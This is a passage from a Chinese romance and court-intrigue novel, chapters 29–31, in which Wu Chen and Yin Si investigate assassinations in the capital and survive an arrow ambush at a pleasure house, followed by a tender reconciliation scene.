其余弟子,接由殷思牵线联络,一同带往献都后,进了各个达官显贵府上做暗卫相护,如今大苍动荡,又频有刺客出现,此等买卖自然是极易做成。
若要论次计划的来源,还是巫辰在刑部关押时,受同为囚犯的那中年女人所言启发。那日容安山起火后,其余囚犯皆是不知所踪,当时频繁关心巫辰的老者与中年女人虽言行举止疯癫异常,但被关得久了,疯了,很正常。
......
献都城,监察御史府上,李鹜现住处。
“阿颜,还在看缙华堂名册吗?”,殷思移步至院内石桌前。
巫辰未抬眼看她,仍是仔细翻看着,“嗯。”,名册之中,自己的乡地竟赫然写着——燕庭,是过世母亲的家乡。
殷思道:“阿颜,只好先委屈你同我暂住在李鹜这儿了......你且放心,这儿如今冷清,不会有人扰你。于都中的新宅子还未置办好......资金......出了些问题。”
巫辰问道:“你怎么不回家了。”
“......还不是你那日在孟姨娘面前乱说,我回去......便只能剩半条命了。”
“为什么不能说。”
殷思回想起那晚的两人,低首敛眉,红晕染于双颊,道:“......这是我们之间的.......私事,当然不可与人说,旁人听了,都会误会。”
巫辰歪头问道:“私事,这么见不得人吗。”
“......对不起。”
“......?”
殷思见那巫辰目光投来,眼神忙闪躲回避,“我不该那样对你的......”
巫辰道:“殷思,所以你是,只能抱,不能亲吗,用途这么少吗。”
“别乱说了,我害怕。”
巫辰放下手中名册,不再去想,问道:“你今晚还陪我睡觉吗。”
“陪......我怎好食言,只是这儿来来去去的还是有侍女守夜,我若这样不管不顾去找你......传出去总是不好,我可以在门口吗?”
巫辰认真道:“你若是不愿意,当时为什么说要陪我,只是骗我的吗。”
殷思见她眼中的失望,自是极力忍泪,然泪意却于眸中打转,“没有......我不是骗你......”
巫辰道:“殷思,你不想走门的话,你走窗户。”
“.......?”
殷思道:“那不是更奇怪了......很像偷......”
巫辰道:“旁人若怀疑你偷东西,我帮你作证。”
“.......行吧。”
29.偷亲
夜阑人静,风过无痕,心早已归入宁谧。
哐——哐哐————
巫辰听得窗边哐哐作响,扰得人心烦,走到窗边道:“你敲什么。”
殷思语似有些委屈,于窗外小声道:“阿颜,你没有开窗,我怎么进来......”
“......”,巫辰启窗,殷思身影逆着月光,翻身越窗而入,发带随风而动。
稳稳落地后,眼神正与巫辰对上,略感尴尬,忙漫不经心得看向别处,看到巫辰案桌上放着的画,问道:“宗正寺密室的那只手镯?”
巫辰道:“嗯,你见过吗。”
画中手镯上环着八颗转运福珠,间隔处以花卉挂坠作着点缀,殷思摇头。
巫辰将桌案上的乱纸理清,问道:“你与皇帝,熟吗。”
殷思道:“.......称不上是熟悉吧,小时候见得多些。陛下极重亲情,待世家宗亲都很亲近。”
巫辰道:“你们是亲戚。”
殷思道:“嗯,陛下的生母是我的姑母,先帝的生母也是。”
“......”,巫辰停了手上动作,眨眼盯着殷思看。
“怎么这样看着我......”,殷思只被盯得莫名紧张。
巫辰道:“你直接说,皇帝和先帝都是你姑母所生,不就好了。”
“不是同一位姑母......”
巫辰道:“哦,你与先帝、皇帝三人是表兄弟关系,那下一任皇帝,该是轮到你当了。”
“不要乱说......怎么问起这些?”,殷思无奈,说着将案旁烛火熄灭。
巫辰道:“献都频频出现乱子,皇帝又正病重,许是背后有人正为争夺皇位,做着铺垫。”
殷思解释道:“现可承皇位的,应是仅有颖王承晚今与颐王承段复,先帝之子与先帝的胞弟。”
“当今皇帝没有子嗣吗。”
殷思思索,似是想起些什么,稍一顿,而后道:“皇帝独子承晚延,三年前因病过世。”
巫辰道:“但皇后势力现不容小觑,传闻帝后二人不合,要论分权,皇后才是最易分得更多的。”
殷思坐到巫辰对面,而后道:“帝后二人年少时便为青梅竹马,自幼相识相伴的,不合,极可能仅为传言。”
巫辰皱眉,垂眸回忆梦中画面,“皇帝都与旁人亲在一起,怎么合?”
“阿颜,以梦中情境稍作猜测可以,但它终究只是梦。”
“你不信我。”,巫辰抬眼问道。
殷思见巫辰这样说,手足无措起来,目光闪动,连忙拉住巫辰解释,“......我.....我不是这个意思,我信你......”
“皇后若夺权,随意扶个宗亲幼子,一样可以亲政大苍。”,巫辰却未有其他反应,仍是聊着正事。
“......倒是极有可能,因此,皇后应是不愿承晚今与东方羽灵依照婚约成婚的,此举只会将东方氏的势力分给承晚今。”
巫辰道:“承晚今知道很多事,要查他。”
“嗯,明日先到醒淑楼,查刺杀案,我已安排李鹜......”,殷思话未说完,院外便传来一阵响动,脚步声与碰撞声皆启。
......
殷思稍稍握住巫辰的手,示意她不要动,自己去探。
房门轻启后,殷思眼神与院外另一人四目相对,顿时万般后悔此举。
殷思:“......”
李鹜:“......?”
李鹜本不知在院外树后鬼鬼祟祟搬着什么,见殷思出现在此处,下意识抬头看向院前的院名牌,“殷兄?你怎么在这儿?”
“我看错院名了吗......没有错啊!”,李鹜反复确认后,发现此处正是巫辰住处。
殷思尴尬转移话题道:“......已是深夜,你在这儿做什么?”
李鹜挠了挠头,干笑两声,笑里带着些窘意道:“.......啊!我......就是将车都放回来,动静大了些,不好意思啊扰到殷兄你.......”,可转念却瞬间觉得不对劲起来,“不对啊!你怎么从巫辰房里出来的,明明你的行迹更可疑......”
李鹜话未说完便被巫辰打断,“说完没有。”
巫辰冷着脸将房门打开,撇了一眼院外的李鹜却未有任何反应,而后面无表情得将殷思拉回屋内。
“殷思,我要睡觉。”
“......”,只好乖乖进屋。
留李鹜一人于冬日的风中不明所以。
“......啊????”
“这......这么自然地进去了吗......?????”
......
殷思进屋后却又不知待在哪儿好,正满屋寻个得坐的地儿。
巫辰躺上床后,轻轻拉开挡住视线的帷幔,问道:“你乱转做什么。”
“......”
巫辰道:“陪我睡觉,不应在床上吗。”
殷思缓步至巫辰面前,坐下后身体微微倾俯,趴在床边,认真得看向巫辰,“我只等着叫醒你,又不睡觉,就不在床上了。”
“哦。”,巫辰说着平躺下来,不再管他。
“可以吗......”,殷思说着轻牵起巫辰的手,指节微微颤。
“......”,巫辰未有言语,只当是默认,手心处温热之感缓缓传来,十指交缠间,羞赧藏于其中。
冬夜里,暖炉香萦袖,寒声只在窗外绕,伴着巫辰渐渐平缓的呼吸,殷思抚上她的额角,稍感冰凉。
她身染血痕污腥,也遍尝世间寒凉,却是有从未染尘的天真。
情从何起,难以追溯。
殷思不知,究竟是从哪一刻起,对她生了情爱;或是枫下那箭将因果串联,或是月下孤酌时指尖血墨,亦或是每一刻,皆是心动。
灰白又黯淡无光的一生,只好寻着辰星的方向,手执微烛,相随远行。
即使一同坠落,也应庆幸往生路上,可为她作伴。
只此携手,相伴入梦。
......
寒光淡去,无痕却难平,辗转梦回,轻雾遮目,难分正置身于何处,只觉手心处的炙热仍未消散。
巫辰无奈,他竟自己睡着了,青丝垂落腰间,因微弱烛光,一切都是朦胧不清的。
侧过身来,另一只手摸向殷思眼角处,是他常常落泪的位置,细细观察着他的睡颜,巫辰分辨不出‘好看’到底是怎样的,只觉他长得,还不算欠打。
手指拂过殷思唇间,是有温度的。
巫辰转念又轻触自己的唇角,和他的不一样,没有温度。
竟不自觉好奇起来,亲上去,会是怎样温热的触感,欲起身离他更近些,却被紧握的左手禁锢。
暂时作罢,梦意却早已散尽。
......
醒淑楼内,绯色灯笼于檐下摇曳,丝竹声袅袅,是巫辰从未见过的场景,倒添了几分好奇。
“见过公子。”,花楼姑娘倚栏浅笑,与殷思熟络问好,“公子,许久不见,竟带了新朋友来。”
巫辰虽未着男装,却是身穿素色且将乌发束起的,乍一看,确似俊俏少年。
殷思一改往日,不再搭理,只带着巫辰朝私席走去,“......”
楼台之上,矜橙拦住殷思,“公子,您要的曲谱。”
殷思淡淡道:“多谢。”,接下矜橙手中的东西。
矜橙目光扫过一旁的巫辰,轻笑问道:“公子,这位是......”
巫辰也认真盯着她瞧,未有一语。
殷思道:“你先下去。”
“是。”,矜橙盈盈下
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拜,礼毕后离开。
......
李鹜在里间招呼着,“殷兄!在这儿!”
“......”,行至桌前却见颖王承晚今也在席间,身穿白衣,淡色眼纱轻遮双目。
承晚今勾唇一笑,客气道:“溯理,都是自己人,不必多理了。”
“谁要与你多理。”,殷思因着那日太康殿之上,承晚今一同求娶巫辰,便再对他没任何好气。
“怎么,不愿我在这儿?”,承晚今得逞般笑道,“不愿也没办法了,我已经在这儿了。”
李鹜于一旁尴尬解围道:“......诶,快坐快坐,巫姑娘也请坐。”
承晚今道:“巫姑娘也来了,我正巧有事想与你相谈......”
殷思直言道:“承晚今你有完没完?”
“殷兄,你冷静一下,旁人都看过来了......”,李鹜说着忙拉殷思坐下。
“近日献都内,未听闻殷公子婚讯,看来你应是被拒绝了。那我要说的事,与你有何干系?”,承晚今有条不紊得地说着,更甚反问起了殷思。
“......”,殷思闻言眉间微蹙,暗自握拳,却又强自隐忍,深知承晚今说的是事实,几乎无法辩驳。
承晚今继续道:“巫姑娘,你若要考虑嫁于谁,我的赢面应是大于殷思的。我,好利用得很。”
巫辰却垂眸思索半瞬,面上未有不快,道:“说来听听。”
“巫辰......”,殷思着急去拉她的手,巫辰却只是看了殷思一眼,并未阻止承晚今的话。
承晚今道:“要论名声,我的名声好,殷思的名声差;论官职,亲王的妻子可保留官位,殷思连朝臣都不算,你嫁他,什么官都当不了;论钱财,我受朝供,还可囤私银,殷思只能用他所剩不多的那些家底。”
“殷思还有殷家、有亲人,顾虑太多,所以他怕死。我什么都没有,所以我不怕死。而且,我本就中了剧毒,你可以随意用我试毒。”
承晚今看不见在座其他人的表情,只是听着未有动静,接着问道:“未拒绝我,那便是有机会了?”
前面的条件倒是无所谓,只是试毒这条,让巫辰稍有动容,认真道:“嗯,可以考虑。”
承晚今笑道:“殷思,你听到了吗?”
殷思默默不语,虽未发一言,然那紧咬的牙关,与腮边微微跳动的肌肉,已然将心中的隐忍与怒火暴露。
李鹜表情稍有不自然,暗示道:“殿下......你早知殷兄对巫姑娘有意,如此夺人所爱,不大好吧。”
承晚今未反驳,反而接下话茬,道:“嗯,这就是选我的最大益处了,殷思的要求太高,他希望你是真的喜欢他,麻烦得很。”
“我便不同了,我不需要你对我一心一意,我们只各取所需,至于你成为颖王妃后愿意和谁好,我绝不干涉。”
语毕后,对着巫辰又补充道:“哦,你与殷思好,也是可以的。”
“......”,席间氛围变得尴尬而又古怪。
李鹜打破沉静,默默道:“殿下,您......您没事儿吧,这是什么特殊的......癖好吗......”
承晚今收了笑意,语气带有威胁,“你说什么?”
李鹜迅速捂嘴,“冒犯了,我什么都没说......”
巫辰端起面前酒盏,轻抿一口,终于开口。
“殷思,你觉得这样可以吗。”
殷思:???
李鹜:???
此言一出,殷思双唇颤而无声出,唯剩眸中不可置信般的错愕。
承晚今也先是一愣,而后扬起脸,再难掩笑意,“哈哈哈......今日果然没白来,本王竟听着了全大苍最好笑的笑话。”
“哈哈哈哈哈哈.......好笑,当真好笑。”
30.血泪
巫辰端起面前酒盏,轻抿一口,终于开口。
“殷思,你觉得这样可以吗。”
此言一出,殷思双唇颤而无声出,唯剩眸中不可置信般的错愕。
承晚今也先是一愣,而后扬起脸,再难掩笑意,“哈哈哈......今日果然没白来,本王竟听着了全大苍最好笑的笑话。”
“哈哈哈哈哈哈.......好笑,当真好笑。”
巫辰见承晚今因自己的话笑个不停,心里万般的莫名其妙,眨眼不解,“笑什么,你有病吗。”
承晚今开出的条件还算不错,巫辰已多年未接触制毒,上次为殷思解毒时倍感生疏,若有活人可供巫辰试毒、炼毒,再好不过了。
可若夜晚入梦时,无人相伴,巫辰指不定又会失手将谁误伤,或是直接杀了。有殷思挡在前面,是挺好的。
承晚今眼中仍是含着笑,勾唇道:“哈哈哈哈......殷思,你怎么不早说,巫姑娘竟然这么好玩的。和这般有意思的人说起话来,确实舒心。”
殷思已然将怒意收起,难解的忧思才下眉头,却上心头,那股酸劲直往上涌,不自觉侧目观察着巫辰的表情。
李鹜道:“殷兄,你......你别光顾着憋屈了,她的意思,好像是想和你好的,甚至还在好好问你意见呢。”
心思被拆穿,殷思无奈撇向李鹜道:“我没憋屈。”
承晚今执着怪异语调道:“溯理,你不应谢我吗?如此一激,倒显得并非是你一人在自作多情了。”
殷思严肃道:“承晚今,你若是专程来逗巫辰玩儿的,趁早滚远些。”
承晚今道,“这便暴露本性了,说不过我,竟开始骂我了。”,语气更添阴阳怪气。
承晚今见殷思那儿再没好气,转而问向巫辰:“巫姑娘,我方才说的条件,究竟是哪一条,令你心动了?”
巫辰歪头疑惑,不知如何算是心动。
殷思语气平缓,耐心解释道:“巫辰,他问哪一条,让你觉得他并非一无是处。”
承晚今道:“哈?人身攻击?你这样问,她便能听懂了?”
殷思道:“是,就是人身攻击,你应得的。”
承晚今道:“李鹜,你听到了吗?殷公子得知巫姑娘想和他好,整个人都硬气起来了。”
“哈哈哈哈......”,李鹜也于一旁憋笑。
巫辰只觉得面前这几人斗嘴斗得极为无趣,皱眉冷言道:“试毒。”
承晚今轻咳一声后,似是暗示:“哦......原来是喜欢试毒的。”
殷思小声在巫辰耳边道:“我也可以给你试毒。”
“你不是怕我将你毒死吗。”,巫辰听后竟未失了耐心,也趴在殷思耳边小声说话。
殷思因她的反应稍稍一冷,道:“你小心些就好了。”
两人就这样,一人一句,有来有回得虚声说着话。
巫辰道:“总会失手的。”
殷思仔细问道:“有后遗症吗。”
巫辰答道:“不孕不育。”
殷思震惊道:“......真的假的。”,竟有些不舍得。
承晚今不识趣得打断耳语,道:“咳,桌上还有人呢,这便说上悄悄话了,殷公子一个未成婚的竟然怕不......”
殷思组织他继续说下去,“承晚今!”
李鹜好奇地问着:“殿下殿下,他怕什么?快告诉我!”
“咳......”,承晚今也学着说悄悄话的动作,正要告诉李鹜。
殷思道:“承晚今!!”
承晚今无奈,“殷公子好像不让我说,有机会悄悄告诉你。”
“好吧......”
巫辰不想再听人说废话,用手肘戳了戳殷思。
殷思会意后,道:“今日来问正事的”,转而问向李鹜,“李鹜,你查的如何?”
李鹜道:“对!正事正事......那日于醒淑楼,刺杀我大哥三哥的女刺客,按殷兄所说,托人细查了她的身份,可以说是平平无奇!那女子原只是燕庭卖剑器的商户之女,不知家中是出了何种变故,此女流落在外后便以接单刺杀权贵为生,前几月才以假身份混入的醒淑楼。”
殷思追问道:“从何处接的刺杀命令?可有组织?”
李鹜道:“这便是奇怪之处了,未查到有任何组织。”
“这是大理寺处,审理多起相关案件的供书,已于献都内活捉了许多同样的‘闲散’刺客。这些权贵,竟皆是在私下自行招募刺客,然后互相刺杀。”,李鹜说着将供书交于殷思查看。
殷思看后蹙眉道:“这未免也太假了......”
李鹜指向供书上的内容,“可足足近几十起已破获的刺杀案件,皆是追根溯源过后,有理有据的普通仇杀案。”
随后看向巫辰,问道:“至于巫姑娘为何会被认成那名女刺客的同党,应是你的名册内也记录着,你是燕庭人,是吗?”
巫辰道:“是。”
殷思疑惑道,“怎会......燕庭,竟还是与皇后有关?”,而后便猜测起当年,将巫辰神不知鬼不觉送到缙华堂的,也有可能是皇后。
承晚今勾唇轻笑。
李鹜问道:“殿下,您......这是何意?”
承晚今不紧不慢道:“可不止是与皇后有关,大苍燕庭,与宣州相近,宣州最出名的地方,叫符禺岗。”,稍停顿片刻后,问道:“符禺岗因何出名的?”
殷思闻言,已知承晚今是联想到了致使展家被查抄的符禺岗,因不愿再多透露巫辰身份,未接下话茬。
李鹜思索后,道:“符禺岗是全宣州最乱的地方了......与天隆国接壤,边境处常年战乱,多年来一直是难民、流民不断的。且多年前符禺岗不是查出......”
殷思打断道:“符禺岗边境,一直是殷家亲兵卫在守,常年最层出不穷的乱子,便是买卖人口。”
李鹜道:“买卖人口?买卖哪儿的人?”
殷思道:“问题便出在,不知是哪儿的人,似是凭空出现的。”
巫辰看向殷思,道:“应是燕庭的,从天隆国,逃到燕庭的。”
李鹜道:“这.......可这天隆国未与燕庭接壤啊。”
“只是表面看起,来没有接壤。于暗处,却相连。”,巫辰垂眸,缓缓道。
李鹜问道:“你......你是如何知道的?”
巫辰未有回应,巫辰生母便是燕庭人,且她父母的故事,她听过无数遍,当然知道。
承晚今笑道:“嗯,挺有意思的。我于天隆国待过八年,驻守边境的殷家亲兵又与殷思密不可分,巫姑娘是燕庭人。若是在旁人看,这燕庭与符禺岗出了什么事,倒像是我们三人联手做的。”,而后反问,“李鹜,你觉得像吗?”
“额......那要再查查吗?查皇后?”,李鹜自知难以回答,便岔开话来。
巫辰道:“不必了。”
“哦......”,而后李鹜似是想起了些什么,道:“殷思,你上次不是问我‘荔平案’吗?这个我擅长讲,想说些轻松的......”
因是相关皇室事件,李鹜询问承晚今道:“咳......殿下,我可以讲吗?”
承晚今道:“嗯,我也爱听故事。”
李鹜讲嗓一清,随手拿起桌边素扇,轻摇间,故事娓娓道来:“要说荔平案,其实就是两枚荔枝,引发的血案,那叫一个惨绝人寰,掀起了大苍建国以来,最大的腥风血雨!从前,有一大户人家,家主生有两子,就叫他们——老大和老二。老家主过世后,老大继承正统,做了新家主。可是不料,天有不测风云,老大年岁未过三十便早亡去世,其子年幼,当不了这个家的主人。”
“于是寻来了老二,再继承大统,你们知道了吧?这皇位......呃......这家主之位,不给儿子当,给了弟弟当,就是容易出现许多麻烦的。”
“原本这一家还是其乐融融,相安无事。”
“怎料,那早亡老大的儿子长大后,突然琢磨过味儿来,觉得不对,要抢回本应属于他的位置。可是这会儿已经晚了!家主之位都传到老二的儿子手里了。”
李鹜将手中扇子猛地一合,发出“啪”的一声脆响,继续道:“于是,他将心一横,反了,直接杀了老二的两个儿子,也就是他的两个表弟,大表弟和二表弟。”
“为了安抚百官,也为名正言顺,他并未打算直接登上家主之位,而是欲扶持一位傀儡家主,借机掌权......”
承晚今道:“打断一下,不知你说的这位傀儡家主,是我父亲?”
李鹜抓了抓头,面上带些尴尬,道:“额.......是.......冒犯了殿下,正是先帝。”
承晚今笑道:“无事的,请继续。”
李鹜压低声音,环视在场几人,道:“这造反的,便是当年谁人听了都害怕的摄政王。”
“‘荔平’便是出于此处了,摄政王拿出两枚荔枝,让大表弟和二表弟的三名子女自己选择,有荔枝吃的将被软禁,没有的则当选为傀儡家主。”
“二表弟之子成了傀儡家主,多年后......咳咳,此处,便是重点,受我的老爹——监察御史李御野相助,杀了摄政王,夺回天下;也成功救出了已被软禁多年的,那位大表弟的一子一女。”
巫辰问道:“颐王呢?”
李鹜解释道:“他就比较幸运了,颐王生得晚,且当年是被养在了世家冷家,躲过一劫。荔平案后,大苍五世家也跟着局势变动,东方氏主系皆被杀光,唯留下以国公东方诺为首的旁系一脉大受重用;冷氏也因救主有功,跃升世家之
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首;殷氏......呃......殷兄我能说吗?”
殷思道:“说。”
李鹜道:“殷氏男子只出武将,女子多.......多出皇后,从不参与党争,未受任何影响。”
“世家张氏本是势力最盛的,却因站了摄政王那边,摄政王党派遭清算后,张家彻底覆灭。”
“展氏历代不是宰相便是高位权臣,从不需站队,是皇室争相拉拢的,只是后来不止怎的竟突然间站队了当年的东宫......”
殷思手边酒壶坠地,“哐当”声响,酒液四淌。
“诶......怎的这么不小心......”
一旁的姑娘忙上前,道:“不劳烦公子,放着就好,我来清理。”
“有劳了。”
“公子客气了。”
殷思对李鹜道:“手抖了,下次赔你一壶。”
李鹜爽朗一笑,瞬间忘了刚才的话题,道:“好!这可是你说的,下次可要请我喝个最贵的!”
冷时俊走近,先闻其声,后见邪笑浮面,似是藏祸心,道:“什么最贵的酒?殷公子能一同请我吗?”
冷时俊身后跟着一女子,一袭锦绣华服,绫罗绸缎在身,尽显雍容华贵。
一旁侍女姑娘见两人,忙问好,“大人好,冯夫人好。”
冯夫人年纪已有三十,却是保养得极好,笑靥含春,似可惑众心。
冷时俊依旧自顾自道:“听闻殷公子前些日子被革了职,如今又是闲人一个了?果然不出所料,殷公子一闲下来,便是逛遍花楼。”
承晚今道:“冷公子,你还未看出来吗?此处,无人愿意理你。”
冷时俊道:“哈......您不说话,我都没注意呢,颖王殿下怎么上这儿来陶冶情操了。”
而后撇向殷思身旁的巫辰,无礼道,“嘶,这不是上次那位女官吗?还是殷公子日思夜想,求陛下赐婚的那位美人儿.......”,说着正欲将手伸向巫辰左肩处。
殷思掐住冷时俊手腕,阻止他后续的动作,道:“冷时俊,你若不是想找死,就滚远点儿。”
冷时俊再开口扔是秽语连连,说着瞪向殷思道:“你女人瘦成这副样子,要什么没什么,与我新妇相比,差得......”
殷思右臂一抬,直直地朝冷时俊的脸面掴去。
再看时,冷时俊已横躺在地,仍在喊着:“你他妈算是个什么东西?殷思,你,是姓殷的吗?”
李鹜不解,“什......什么意思?”
冷时俊道:“诸位没听说过吗?这位殷公子,与殷家大名鼎鼎的闵国侯,不是姐弟,是母子。”
殷思抬手便将足有过百公斤的冷时俊拎起,将他径直拽向廊柱边,怒道:“你,找,死。”
冷时俊此时过半身体已悬于半空,醒淑楼的楼台足有百十米高,摔下去,不死也残。
冷时俊仍在挑衅,“哈哈哈哈,殷思,你若是不怕,你与你姐姐那些丑事公之于众,就把我扔下去。”
冯夫人取下头上钗饰,朱钗尾端尖细,正抵在巫辰右手筋脉处,而后对殷思道:“殷公子,您别手抖,不然,这位姑娘的右手,便废了。”
巫辰瞬时接按住冯夫人的手,朱钗尖端直直扎到上巫辰手背,见冷夫人慌神间夺过朱钗,换手后将其抵于冯夫人的脸上。
巫辰淡淡道:“殷思,将他扔下去。”
冯夫人道:“巫姑娘。”,巫辰回身间香气忽至,冲鼻而入,顿感头晕目眩,但怪异的感觉于瞬间又消失不见。
咻——————
顷刻间,利箭破风,未及反应,第一支箭已射进屋内。
“!!!”
是直奔坐于窗边的承晚今而来。
巫辰目光锁定空中飞箭,她足尖轻点地面,借力腾空而起,精准地踢在箭身之上,那箭受力改变方向,擦过承晚今鬓发后,钉入身后的木柜。
李鹜反应过来后忙将承晚今拉到安全背窗的位置。
巫辰借着这一踢之力,在空中旋身,回身间眸中闪过一丝慌乱无措。
“殷思!躲开——”
第二支箭。
是朝着楼台外的殷思,箭头对准太阳穴的位置,分毫不差。
巫辰手一扬起,短刀离手,周遭空气被寒刃撕裂,欲将射向殷思的箭矢打飞。
自诩准度从未失手过的巫辰。
失手了。
霎时间,短刀未触及箭矢分毫,而是顺着弧光,只划破殷思眼角的皮肤。
残红染雪。
空气凝结停滞,唯可见他的眼角旁,血珠渗出后,随风飞落。
常于他眼角滑落的泪,今日,成了血。
只是一瞬,于巫辰而言,却似千年之久的怔忪。
「殷思,怎么办。」
「你别死。」
31.吻泪
空气凝结停滞,唯可见他的眼角旁,血珠渗出后,随风飞落。
常于眼角滑落的泪,今日,成了血。
只是一瞬,于巫辰而言,却似千年之久的怔忪。
「殷思,怎么办。」
「你别死。」
首支箭矢入屋时,冷时俊似是暗暗得逞,先前的挑衅亦是故意为之,现与殷思同在楼台外,仍紧拉着殷思不放。
神思茫然间,巫辰已然失了全部理智,于即将触地时迅速借力珠帘帷幔,由屋内俯冲楼台。
巫辰身姿轻盈,疾速伸手,欲将殷思拽离原地。
指尖轻抚过他绯红衣袖,手中触感,从未如此真实。
「完了。」
巫辰见再无转圜,干脆放任身体冲破围栏,裂声乍起,一切,皆碎于一瞬。
任由自己继续向下坠落。
咻———
千钧一发之际,巫辰却感右手处传来熟悉的温热,紧紧回握后,巫辰与他眸光深处相视,无言。
熟悉得令人安心。
第三箭,箭驰掠风,箭矢来自另一个方向,径直将射向殷思的那支,于正中处截断。
第四箭。
悄无声息,洞穿冷时俊咽喉处,他微张着张嘴,已然的黯淡眸光唯留惊诧,残躯顺着断裂围栏,由高处向楼下栽去。
嘭———
冷时俊的尸身猝然落下,正停于楼台正下方的车舆木板断裂,一时间惊马嘶鸣声与哭喊声交织于耳。
“巫辰,找位置。”
直至真切地听见他的声音,巫辰意识才不再飘忽。
慌乱时,竟忘了去寻暗箭的来源。
巫辰借力与殷思相牵的手,飞身上了上层屋檐,疾风中乱矢穿空,紧随巫辰的步伐。
殷思则顺着飘出的帷幔,向侧边去寻,分辨出救下他的那支箭,来自代贺,承晚今身边的女官。
巫辰仍不知在乱想着什么,还在悔着自己竟接连失手,险些失去不想丢的东西。
抬眼时,箭尖闪烁的寒芒,在她眸中迅速放大,周身血液几欲凝固,愣在原地无法动弹。
一袭红衣的身影,猛然遮蔽住巫辰视线。
箭羽没入殷思左肩,血浸衣袍。
巫辰在他的怀抱中,被紧紧护住,两人一齐撞向檐头,从屋檐滚落。
“咳......阿颜,有没有伤到......”,坠地后,殷思紧抱巫辰擦着地面,撞向石阶,又强忍左肩处传来的剧痛,挣扎着查看巫辰伤势。
巫辰遭此过后,眸中光影渐渐迷离,眼前昏沉几乎入梦羁深处,再无暇顾及一旁的殷思。
心神被不远处传来的浓烈血腥气息吸引。
目之所及处,一年轻少女衣衫褴褛,乱发遮着面,身形肌瘦。
她惨白的皮肤上,满是飞溅的血滴。
少女双手持着巫辰适才掉落的短刃,连连向她身前冷时俊的尸身刺去。
一刀。
两刀。
三刀。
......
数不清了。
......
巫辰神思游离时,紧盯那少女,魂魄脱离原有的身体,转移至那少女的身上。
就这样看着自己,接二连三得出刀,眼前那副破碎的躯体,迅速腐烂,散发出令人作呕的腥气。
梦魇的幻象再次占据上风。
.....
....
...
在重重刺下最后一刀后,试探着抬眼,向眼前的身影看去。
殷思的眼中竟失了往日温润笑意,而是闪过一抹难以置信的惊异,在巫辰看,他的眼底满是嫌恶。
「被讨厌了。」
......
.....
....
“阿颜,醒醒......阿颜......”,巫辰只听着殷思的声音,再难回应。
而后彻底昏迷睡去。
......
李府,巫辰暂住的房内,殷思正坐于巫辰床边,等她转醒。
巫辰的意识迟归,于猛然间惊醒,睁眼后直接对上了殷思的目光,正反复确认,他眼下的神色,是什么。
“好些了吗。”,殷思轻声道。
巫辰起身后猛然抱住他,他身形一晃,轻哼一声。而后巫辰感知到,自己右手所覆盖的位置,似乎有温湿之感,她将殷思松开。
殷思眼神略有些失望,道:“不再多抱我一会儿了吗?”
巫辰却只盯着右手上的血看。
殷思道:“怎么了?”
巫辰声音少有的颤抖,正喃喃道:“血......有血。”,而后脑中浮现起用刀频频刺入人身体的场景。
殷思见巫辰失神,忙轻晃起她的肩膀,“阿颜?阿颜别怕,你看,只是我的血,没事的。”
巫辰道:“你的血,也怕。”,而后抬眼,指尖轻轻摸向殷思眼角处的刀伤,问道:“疼吗?”
伤口还未结痂愈合,殷思眼睛一眨似是吃痛,却仍安慰道,“......不疼的。”
“你说谎。”
巫辰声音喑哑道,“你在骗我。”,而后眼眶内迅速充血泛红,眼神狠厉,直盯殷思。
殷思似是被她眼神突然的变化惊到,稍愣一瞬。
巫辰却迅速捕捉他眼神中片刻的不解,刚好与她在梦魇所见的嫌恶神色重叠。
巫辰低声道:“你也怕我,滚开。”
随后将殷思重重推开,挣扎着要下床。
殷思左肩膀撞到床边立柱,因箭伤动作稍有拖沓,忙回身去追已跑下床的巫辰。
“阿颜......”
巫辰踉跄着朝门口跑去,脚下不稳,正将摔在地上,却再次落入他的怀抱。
“阿颜......你听我说。”
“走开。”,巫辰挣扎着将殷思往外推,却被臂弯紧紧束缚。
“我不走......”
殷思轻语哄着,“听我说话......求你......”
“你滚开!”,挣扎无果后,巫辰只得边嘶声喊着,边朝他身上重捶。
殷思见巫辰不对劲,不知怎的竟一反常态,突然大声道:“你别动!”
巫辰一时间被殷思的话震慑,停了动作愣在原地。
“对不起......对不起,我不是故意凶你......”
巫辰只缓缓道:“殷思。”
“你是讨厌我吗。”
殷思神色一滞,轻抚向巫辰脸侧,欲抬起她正低着的头,迫她看着自己,“看着我,抬头,阿颜。”,见她眼神落寞无光,殷思再难控入眼的泪意。
殷思稍带哭腔认真道:“巫辰,还有展颜辰,请你听好,请你仔仔细细地听清楚。”,而后尽力调整语气,不打算哭,道:“殷思,不讨厌巫辰;殷思,也不讨厌展颜辰。”
“......”,巫辰不解,未有反应。
殷思缓缓伸出手,指尖轻触她额角的一缕青丝,轻声问道:“你听见了吗?”
“......”,巫辰却盯着殷思自顾自发呆。
殷思道:“你说话,重复我的话。”
巫辰目光于殷思眉眼间流转,手上轻拽上他的衣角,竟不自觉得照做了,一字一句得说着,“......殷思,不讨厌巫辰。殷思,不讨厌展颜辰。”
殷思唇角轻扬,道:“不论你是谁,不论你叫什么名字,不论你做什么,都不讨厌;只是因为是你,所以不讨厌。”
巫辰见他
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缓缓展颜,莫名放松道,“嗯。”,极自然得靠进殷思怀里。
殷思却将巫辰拉起来道:“重新说。”
“说什么。”,巫辰歪着头看向殷思,未再理会,然后重新抱上他。
殷思再次无情地将她拽起来,道:“说不对,不许抱我。”
巫辰道:“殷思不讨厌巫辰。”
“不对。”
巫辰有气无力,继续猜着答案,“殷思不讨厌展颜辰。”
“不对,再说。”
巫辰抬眼,看着殷思满眼期待,胜负欲瞬间涌上,开始反复认真回答,道:“......殷公子不讨厌巫辰。”
“......”,殷思听见巫辰忽然转变对自己的称呼,稍感不对劲。
“殷公子不讨厌展颜辰。”
“殷溯理不讨厌展颜辰。”
......
“溯理不讨厌阿颜......”
殷思:......!
殷思听她喊上自己的表字,心间不争气得错漏了一拍,红晕悄漫颊边,柔声道:“溯理是谁?”
巫辰回应道:“是你。”
“嗯。”,殷思示意继续。
巫辰道:“你,不,讨,厌,我。”,一字一顿。
殷思只感鼻间气息变沉,泪滴悄然滚落,划过眼角。
巫辰道:“我说对了,你为什么还哭。”,应是不忍热泪浸湿他未愈血痕,巫辰轻轻靠近,吻去殷思眼角的泪。
此后的伤,再无痛感。
可殷思还是哭了,簌簌而下,难以止息。
巫辰无奈至极道:“殷思为什么还哭。”
随后便开始重复发问。
“殷公子为什么还哭。”
巫辰甚至学着仙宁喊殷思的称呼,语调淡然,“小思为什么还哭。”
殷思:???
“殷溯理为什么还哭。”
殷思:......
“溯理为什么还......”,殷思无法再等她说完,只好抢先将巫辰的嘴捂住。
殷思轻声叹气后,将红透的脸埋进巫辰怀里,“......换着花样唤我,太羞耻了。”
巫辰问道:“谁羞耻?”
“......?”
